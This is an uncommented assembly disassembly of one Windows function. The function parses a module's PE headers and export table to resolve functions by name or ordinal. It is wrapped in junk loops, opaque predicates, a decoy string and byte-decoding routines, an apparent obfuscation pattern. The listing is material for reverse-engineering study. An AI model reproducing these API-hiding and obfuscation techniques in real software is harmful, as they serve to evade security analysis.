lea ecx, [ebp - 0x2a4]
call fcn.10001da4
mov esi, dword [ebp - 0x460]
push dword [ebp - 0x18]
lea ecx, [ebp - 0x2a4]
call fcn.10001da4
add esi, dword [eax]
je 0x1002a649
cmp dword [ebp - 0xf0], 0
je 0x1002a649
mov dword [ebp - 0x468], 1
jmp 0x1002a650
and dword [ebp - 0x468], 0
mov eax, dword [ebp - 0x468]
mov dword [ebp - 0x66c], eax
jmp 0x1002a31a
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2a4]
call fcn.10001d88
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1f4], eax
push 2
lea ecx, [ebp - 0x2bc]
call fcn.10001d4c
mov dword [ebp - 4], 0x2b
mov dword [ebp - 0x54], 2
mov dword [ebp - 0x1ec], 0
jmp 0x1002a6ad
mov eax, dword [ebp - 0x1ec]
inc eax
mov dword [ebp - 0x1ec], eax
cmp dword [ebp - 0x1ec], 2
jge 0x1002a6cf
push dword [ebp - 0x1ec]
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov dword [eax], 0xac64a684
jmp 0x1002a6a0
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
and dword [eax], 0
jmp 0x1002a705
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov dword [ebp - 0x470], eax
mov eax, dword [ebp - 0x470]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x470]
mov dword [ecx], eax
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
cmp dword [eax], 0xffffffe6
je 0x1002a87a
mov dword [ebp - 0x7c], 0x512a30a
mov dword [ebp - 0x594], 0xfffffff7
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov esi, eax
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov eax, dword [eax]
cmp eax, dword [esi]
jg 0x1002a75a
mov dword [ebp - 0x490], 1
jmp 0x1002a761
and dword [ebp - 0x490], 0
mov esi, dword [ebp - 0x7c]
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
cmp esi, dword [eax]
jne 0x1002a781
mov dword [ebp - 0x6f8], 1
jmp 0x1002a788
and dword [ebp - 0x6f8], 0
push 0
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov eax, dword [ebp - 0x54]
sub eax, 0x405cd5e9
cmp eax, dword [ebp - 0x7c]
jl 0x1002a7ae
mov dword [ebp - 0x678], 1
jmp 0x1002a7b5
and dword [ebp - 0x678], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x858], eax
cmp dword [ebp - 0x7c], 0x1a35ca42
jl 0x1002a7d3
mov dword [ebp - 0x478], 1
jmp 0x1002a7da
and dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 0xfffffff9
jne 0x1002a7f5
cmp dword [ebp - 0x54], 0
je 0x1002a7f5
mov dword [ebp - 0x480], 1
jmp 0x1002a7fc
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x480], eax
jge 0x1002a813
mov dword [ebp - 0x488], 1
jmp 0x1002a81a
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x7c]
cmp dword [ebp - 0x488], eax
jl 0x1002a831
mov dword [ebp - 0x498], 1
jmp 0x1002a838
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x490]
cmp eax, dword [ebp - 0x498]
je 0x1002a852
mov dword [ebp - 0x590], 1
jmp 0x1002a859
and dword [ebp - 0x590], 0
mov eax, dword [ebp - 0x7c]
mov dword [ebp - 0x860], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x868], eax
mov dword [ebp - 0x594], 7
jmp 0x1002a6e1
mov dword [ebp - 0x54], 0
jmp 0x1002a88a
mov eax, dword [ebp - 0x54]
inc eax
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x54], 2
jge 0x1002a8a6
push dword [ebp - 0x54]
lea ecx, [ebp - 0x2bc]
call fcn.10001da4
mov dword [eax], 6
jmp 0x1002a883
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2bc]
call fcn.10001d88
cmp dword [ebp - 0x1f4], 0
je 0x1002b048
mov eax, dword [ebp - 0x1f4]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1002b048
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x1f4]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xe4], ecx
mov eax, dword [ebp - 0xe4]
cmp dword [eax], 0x4550
jne 0x1002b048
mov eax, dword [ebp - 0xe4]
cmp dword [eax + 0x74], 0
jbe 0x1002b048
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe4]
cmp dword [ecx + eax + 0x78], 0
je 0x1002b048
mov eax, dword [ebp + 8]
mov dword [ebp - 0xc4], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x5c], edx
mov eax, 0xffff
mov word [ebp - 0x3c], ax
or dword [ebp - 0xd0], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1002a974
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1002a96f
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x3c], ax
jmp 0x1002ac80
mov dword [ebp - 0x4a0], 0x2e36
mov dword [ebp - 0x59c], str.tolrlfovp_cir_qrogwnb_uvrtsiyk_dzuvj_mohpxtkep_ady_mdiebhp_zrnykxjm_drzmthp_koijmbz
cmp dword [ebp - 0x4a0], 0x2f10
jle 0x1002aa74
and dword [ebp - 0x214], 0
jmp 0x1002a9ae
mov eax, dword [ebp - 0x214]
inc eax
mov dword [ebp - 0x214], eax
cmp dword [ebp - 0x214], 0x1aa0
jge 0x1002aa74
and dword [ebp - 0x1fc], 0
jmp 0x1002a9d4
mov eax, dword [ebp - 0x1fc]
inc eax
mov dword [ebp - 0x1fc], eax
cmp dword [ebp - 0x1fc], 0x4179
jge 0x1002aa6f
and dword [ebp - 0x204], 0
jmp 0x1002a9fa
mov eax, dword [ebp - 0x204]
inc eax
mov dword [ebp - 0x204], eax
cmp dword [ebp - 0x204], 0x27d7
jge 0x1002aa6a
and dword [ebp - 0x20c], 0
jmp 0x1002aa1c
mov eax, dword [ebp - 0x20c]
inc eax
mov dword [ebp - 0x20c], eax
cmp dword [ebp - 0x20c], 0x622f
jge 0x1002aa68
mov eax, dword [ebp - 0x1fc]
cdq
idiv dword [ebp - 0x204]
and edx, dword [ebp - 0x20c]
xor edx, dword [ebp - 0x214]
mov eax, edx
cdq
mov dword [ebp - 0x674], eax
mov dword [ebp - 0x670], edx
push dword [ebp - 0x670]
push dword [ebp - 0x674]
mov ecx, 0x10081de8
call fcn.1000d012
jmp 0x1002aa0f
jmp 0x1002a9ed
jmp 0x1002a9c7
jmp 0x1002a9a1
mov dword [ebp - 4], 0x2c
cmp dword [ebp - 0x4a0], 0x2d78
jge 0x1002aa97
mov edx, dword [ebp - 0x59c]
mov ecx, 0x10081de8
call fcn.1000ff9e
jmp 0x1002aab3
or dword [ebp - 4], 0xffffffff
jmp 0x1002aabd
mov eax, dword [0x10146e8c]
and eax, 1
jne 0x1002aaf4
mov eax, dword [0x10146e8c]
or eax, 1
mov dword [0x10146e8c], eax
mov dword [ebp - 4], 0x2e
mov ecx, 0x10146e24
call fcn.1002c23b
push 0x1006620c
call fcn.1004c374
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x10082dfe]
test eax, eax
je 0x1002ab60
mov ecx, 0x10146e24
call fcn.1002c300
movzx eax, al
test eax, eax
jne 0x1002ab60
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x4a8]
push eax
mov ecx, 0x10146e24
call fcn.1002c309
lea eax, [ebp - 0x870]
push eax
mov ecx, 0x10146e24
call fcn.1002c2f2
push eax
lea ecx, [ebp - 0x4a8]
call fcn.1002c228
movzx eax, al
test eax, eax
je 0x1002ab60
lea ecx, [ebp - 0x4a8]
call fcn.1002c389
mov eax, dword [eax + 4]
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0xffffffff
jne 0x1002ac80
mov ecx, 0x10146e24
call fcn.1002c3cd
mov ecx, dword [ebp - 0x5c]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x10146e24
call fcn.1002c3d1
and dword [ebp - 0xd8], 0
jmp 0x1002ab9e
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xd8]
cmp ecx, dword [eax + 0x18]
jae 0x1002ac80
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xd8]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 0
je 0x1002ac7b
mov eax, dword [ebp - 0x4b0]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x908]
call fcn.1002c19c
mov dword [ebp - 4], 0x2f
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x908]
call fcn.10016de8
mov dword [ebp - 0x4b8], eax
movzx eax, byte [0x10082dfe]
test eax, eax
je 0x1002ac29
mov ecx, 0x10146e24
call fcn.1002c300
movzx eax, al
test eax, eax
jne 0x1002ac49
lea eax, [ebp - 0x4b8]
push eax
mov ecx, 0x10146e24
call fcn.1002c38f
mov ecx, dword [ebp - 0xd8]
mov dword [eax], ecx
mov byte [0x10082dfe], 1
cmp dword [ebp - 0xd0], 0xffffffff
jne 0x1002ac6c
mov eax, dword [ebp - 0x4b8]
cmp eax, dword [ebp - 0x21c]
jne 0x1002ac6c
mov eax, dword [ebp - 0xd8]
mov dword [ebp - 0xd0], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x908]
call fcn.1002c1cb
jmp 0x1002ab91
cmp dword [ebp + 0x10], 0
jne 0x1002aca9
cmp dword [ebp - 0xd0], 0xffffffff
je 0x1002aca9
mov eax, dword [ebp - 0x5c]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xd0]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x3c], ax
movzx eax, word [ebp - 0x3c]
cmp eax, 0xffff
je 0x1002b048
movzx eax, word [ebp - 0x3c]
mov ecx, dword [ebp - 0x5c]
mov edx, dword [ebp - 0xc4]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x5a4], eax
mov eax, dword [ebp - 0x5a4]
mov ecx, dword [ebp - 0xc4]
add ecx, dword [eax]
mov dword [ebp - 0x68], ecx
mov eax, dword [ebp - 0x68]
cmp eax, dword [ebp - 0x5c]
jbe 0x1002b040
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe4]
mov edx, dword [ebp - 0x5c]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x68], edx
jae 0x1002b040
mov eax, dword [0x10146e8c]
and eax, 2
jne 0x1002ad3c
mov eax, dword [0x10146e8c]
or eax, 2
mov dword [0x10146e8c], eax
mov dword [ebp - 4], 0x30
push 0x188e2
call fcn.1003107b
pop ecx
mov byte [0x10146ed8], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0x74], 1
mov byte [ebp - 0x73], 0x54
mov byte [ebp - 0x72], 2
mov byte [ebp - 0x71], 0
mov byte [ebp - 0x70], 2
mov byte [ebp - 0x6f], 0x1a
mov byte [ebp - 0x6e], 0x23
mov byte [ebp - 0x6d], 0
mov byte [ebp - 0x6c], 8
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0x74]
and eax, 0x38
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0x74]
or ecx, 0x38
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
mov byte [ebp + eax - 0xcc], cl
mov dword [ebp - 0x24], 2
and dword [ebp - 0x224], 0
jmp 0x1002ada8
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 9
jae 0x1002ae46
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0x74]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1002ade9
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x74]
inc eax
mov dword [ebp - 0x224], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x74]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x1002ada0
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x224]
movzx eax, byte [ebp + eax - 0x76]
movsx eax, byte [ebp + eax - 0xcc]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0x73]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x224]
movzx eax, byte [ebp + eax - 0x76]
movsx eax, byte [ebp + eax - 0xcc]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0x73]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0x74]
mov byte [ebp + eax - 0xcc], dl
and dword [ebp - 0x224], 0
jmp 0x1002ada0
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0xcc], 0
mov eax, dword [0x10146e8c]
and eax, 4
jne 0x1002ae92
mov eax, dword [0x10146e8c]
or eax, 4
mov dword [0x10146e8c], eax
mov dword [ebp - 4], 0x31
lea eax, [ebp - 0xcc]
push eax
mov ecx, 0x10146edc
call fcn.1002c19c
push 0x100661fd
call fcn.1004c374
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x22c], 0
jmp 0x1002aea8
mov eax, dword [ebp - 0x22c]
inc eax
mov dword [ebp - 0x22c], eax
cmp dword [ebp - 0x22c], 4
jae 0x1002aec1
mov eax, dword [ebp - 0x22c]
mov byte [ebp + eax - 0xcc], 0
jmp 0x1002ae9b
mov eax, dword [ebp - 0x68]
mov dword [ebp - 0x84], eax
movsx eax, byte [0x10146ed8]
mov ecx, dword [ebp - 0x84]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1002aeed
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
jmp 0x1002aeca
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
push dword [ebp - 0x84]
push dword [ebp - 0x68]
lea ecx, [ebp - 0x894]
call fcn.1002ce9f
mov dword [ebp - 4], 0x32
push 0x10146edc
lea ecx, [ebp - 0x894]
call fcn.1002c1d5
lea eax, [ebp - 0x878]
push eax
lea ecx, [ebp - 0x894]
call fcn.1002c1fa
push dword [eax]
lea eax, [ebp - 0x844]
push eax
lea ecx, [ebp - 0x894]
call fcn.1002c1e6
push dword [eax]
lea ecx, [ebp - 0x8f0]
call fcn.1002cec8
mov byte [ebp - 4], 0x33
lea eax, [ebp - 0x8f0]
push eax
call fcn.10019e16
pop ecx
mov dword [ebp - 0x274], eax
cmp dword [ebp - 0x274], 0
je 0x1002afef
push dword [ebp - 0x84]
lea ecx, [ebp - 0x8b8]
call fcn.1002c19c
mov byte [ebp - 4], 0x34
lea edx, [ebp - 0x5ac]
lea ecx, [ebp - 0x8b8]
call fcn.10016f69
movzx eax, al
test eax, eax
je 0x1002afc2
push 0
push dword [ebp - 0x5ac]
push 0
push dword [ebp - 0x274]
call fcn.100268fe
add esp, 0x10
mov dword [ebp - 0x68], eax
jmp 0x1002afde
push 1
push 0
lea eax, [ebp - 0x8b8]
push eax
push dword [ebp - 0x274]
call fcn.100268fe
add esp, 0x10
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x8b8]
call fcn.1002c1cb
jmp 0x1002b022
cmp dword [ebp + 0x10], 0
jne 0x1002b005
mov ecx, dword [ebp + 0xc]
call fcn.10001c08
mov dword [ebp - 0x4c0], eax
jmp 0x1002b00f
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x4c0], eax
push dword [ebp - 0x4c0]
push dword [ebp + 8]
call fcn.1002139c
pop ecx
pop ecx
mov dword [ebp - 0x68], eax
mov byte [ebp - 4], 0x32
lea ecx, [ebp - 0x8f0]
call fcn.10001d37
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x894]
call fcn.1002c1cb
mov eax, dword [ebp - 0x68]
jmp 0x1002b293
push 3
lea ecx, [ebp - 0x74c]
call fcn.10001d4c
mov dword [ebp - 4], 0x35
mov dword [ebp - 0x64], 0xffffffff
mov dword [ebp - 0x234], 0
jmp 0x1002b07c
mov eax, dword [ebp - 0x234]
inc eax
mov dword [ebp - 0x234], eax
cmp dword [ebp - 0x234], 3
jge 0x1002b09e
push dword [ebp - 0x234]
lea ecx, [ebp - 0x74c]
call fcn.10001da4
mov dword [eax], 0x8bbc
jmp 0x1002b06f
mov dword [ebp - 0x64], 0
jmp 0x1002b0ae
mov eax, dword [ebp - 0x64]
inc eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 2
jg 0x1002b184
mov dword [ebp - 0x4c8], 0xfffc
mov dword [ebp - 0x5b4], 0
cmp dword [ebp - 0x4c8], 0
jne 0x1002b0de
mov eax, 0x9edb
test eax, eax
je 0x1002b120
push 2
lea ecx, [ebp - 0x74c]
call fcn.10001da4
cmp dword [eax], 0xffff07f4
je 0x1002b0ff
mov dword [ebp - 0x4d0], 1
jmp 0x1002b106
and dword [ebp - 0x4d0], 0
mov eax, dword [ebp - 0x4c8]
cmp dword [ebp - 0x4d0], eax
jl 0x1002b120
mov dword [ebp - 0x4d8], 1
jmp 0x1002b127
and dword [ebp - 0x4d8], 0
push 1
lea ecx, [ebp - 0x74c]
call fcn.10001da4
mov ecx, dword [ebp - 0x4d8]
add ecx, dword [eax]
cmp ecx, 0xfff7
ja 0x1002b150
mov dword [ebp - 0x4e0], 1
jmp 0x1002b157
and dword [ebp - 0x4e0], 0
cmp dword [ebp - 0x4e0], 1
ja 0x1002b16c
mov dword [ebp - 0x4e8], 1
jmp 0x1002b173
and dword [ebp - 0x4e8], 0
mov eax, dword [ebp - 0x4e8]
mov dword [ebp - 0x5b4], eax
jmp 0x1002b0a7
xor eax, eax
je 0x1002b1a4
mov dword [ebp - 0x4f0], 0xbb9
mov eax, dword [ebp - 0x4f0]
dec eax
mov dword [ebp - 0x4f0], eax
jmp 0x1002b282
mov dword [ebp - 0x64], 2
jmp 0x1002b1b4
mov eax, dword [ebp - 0x64]
dec eax
mov dword [ebp - 0x64], eax
cmp dword [ebp - 0x64], 0
jl 0x1002b282
push 2
lea ecx, [ebp - 0x6f4]
call fcn.10001d4c
mov byte [ebp - 4], 0x36
mov dword [ebp - 0x23c], 0
jmp 0x1002b1e8
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 2
jge 0x1002b20a
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x6f4]
call fcn.10001da4
mov dword [eax], 0x2d7af2c9
jmp 0x1002b1db
push 1
lea ecx, [ebp - 0x6f4]
call fcn.10001da4
and dword [eax], 0
jmp 0x1002b240
push 1
lea ecx, [ebp - 0x6f4]
call fcn.10001da4
mov dword [ebp - 0x4f8], eax
mov eax, dword [ebp - 0x4f8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0x4f8]
mov dword [ecx], eax
push 1
lea ecx, [ebp - 0x6f4]
call fcn.10001da4
cmp dword [eax], 2
jg 0x1002b26e
mov byte [ebp - 0xab], 0
movzx eax, byte [ebp - 0xab]
test eax, eax
je 0x1002b26c
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
jmp 0x1002b21c
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x6f4]
call fcn.10001d88
jmp 0x1002b1ad
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x74c]
call fcn.10001d88
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret